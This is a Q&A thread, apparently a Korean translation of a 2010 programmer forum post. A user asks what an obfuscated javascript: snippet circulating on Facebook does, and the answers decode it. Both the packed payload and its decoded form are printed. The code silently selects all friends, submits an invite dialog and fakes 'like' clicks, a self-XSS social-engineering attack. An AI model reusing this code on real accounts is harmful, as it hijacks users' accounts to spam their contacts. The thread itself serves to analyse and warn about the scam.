2010-04-28 2 views
0

이 페이지는 Facebook의 소셜 서클 인 what 98 percent bla bla...에서 인기를 얻었으며 사용자는 아래의 JavaScript (더 쉽게 읽을 수 있도록 들여 쓰기를 추가했습니다)를 복사하여 자신의 주소 표시 줄로 안내합니다. 내게는 근사하지만 나는 자바 스크립트에 대한 기본적인 지식 만 갖고있다.이 자바 스크립트는 정확히 무엇을합니까?

간단히 말해서,이 기능은 무엇입니까?

javascript:(function(){ 
a='app120668947950042_jop'; 
b='app120668947950042_jode'; 
ifc='app120668947950042_ifc'; 
ifo='app120668947950042_ifo'; 
mw='app120668947950042_mwrapper'; 
eval(function(p,a,c,k,e,r){ 
    e=function(c){ 
     return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} 
    ; 
    if(!''.replace(/^/,String)){ 
     while(c--)r[e(c)]=k[c]||e(c); 
     k=[function(e){ 
      return r[e]} 
     ]; 
     e=function(){ 
      return'\\w+'} 
     ; 
     c=1} 
    ; 
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); 
    return p} 
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; 
     d=U; 
     d[e[2]](V)[e[1]][e[0]]=e[3]; 
     d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; 
     s=d[e[2]](e[6]); 
     m=d[e[2]](e[7]); 
     c=d[e[9]](e[8]); 
     c[e[11]](e[10],I,I); 
     s[e[12]](c); 
     C(D(){ 
      W[e[13]]()} 
     ,E); 
     C(D(){ 
      X[e[16]](e[14],e[15])} 
     ,E); 
     C(D(){ 
      m[e[12]](c); 
      d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} 
     ,E); 
     ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ 
} 
))})(); 
+5

이 냄새가 나에게 .... –

+2

주소창에 붙여 넣으면 알아낼 수 있습니다. 나는 그렇게하지 않을 것입니다. – ghoppe

+0

동의합니다. 슈퍼 스케치. –

답변

9

나는 많은 사람들이 이것을 downvoting하는 것을 모른다. 특히 현재 FB 어플리케이션에 영향을 미치는 malvertisements의 발진과 함께, 포장 된 스크립트 및 다른 방법으로 난독 화 된 스크립트에 대해서는 의심의 여지가 있습니다.

첫번째 트릭은 코드를 실행하는 대신 코드를 볼 수 있도록 alert으로 압축 해제 결과의 eval을 바꾸는 것입니다. FB 필요한 정상 대조군를 우회는 '같은'과의 클릭을 날조처럼 보이는

document.getElementById('app120668947950042_mwrapper').style.visibility='hidden';   
document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; 
s=document.getElementById('suggest'); 
m=document.getElementById('likeme'); 
c=document.createEvent('MouseEvents'); 
c.initEvent('click',true,true); 
s.dispatchEvent(c); 

setTimeout(function(){ 
    fs.select_all() 
}, 5000); 
setTimeout(function(){ 
    SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') 
}, 5000); 
setTimeout(function(){ 
    m.dispatchEvent(c); 
    document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value 
}, 5000);   

버튼 (이후 대화를) '제안': 그것은 당신이 쉽게 할 수있는 무언가를 제공합니다 (그러나 지루) 수동에 디코딩 사이트와 상호 작용할 수 있습니다.

이 페이지를 FB에보고하겠습니다.

일반적으로 자바 스크립트 URL을 입력하라는 메시지는 좋지 않습니다. 이것은 가난한 사람의 XSS입니다. JS URL을 통해 누군가의 코드를 페이지에 올리면이 사회 공학적 시도가 보여 주듯이 사이트 사용으로 원하는 것을 수행 할 수 있습니다. 많은 사람들이이 문제에 빠지면 우울합니다. 브라우저가 주소 표시 줄에 javascript: URL을 입력하지 못하게 할 때가 왔습니다.

못생긴 javascript: 사실적인 URL 해킹과 그에 따른 수천 개의 보안 허점을 발명 한 Netscape 저주!

+0

왜 downvotes? 아마,주의. 처음 게시되었을 때 그것이 합법적 인 질문인지, 아니면 OP가 누군가를 (악의적 인 목적을 위해) 자신의 브라우저에서 실행하기를 원한다고 말하기는 어려웠습니다. –

+0

시간을내어 주셔서 감사합니다. 나는 페이지를보고했지만 페이스 북은 보통 이런 것들을 앉게하는 내용으로 보인다. 다시 한 번 감사드립니다. – Waltzy

2

언뜻보기에 코드를 문자열로 압축하는 데 사용되는 패킹 기능처럼 보입니다. gzip 압축과 같이 생각하십시오. 그 라인을 따라 그룹 또는 뭔가에 가입하는 친구를 초대 코드처럼 보이는

1

..

그들은 잠시 동안 페이스 북의 주위에 떠 있었어요.

관련 문제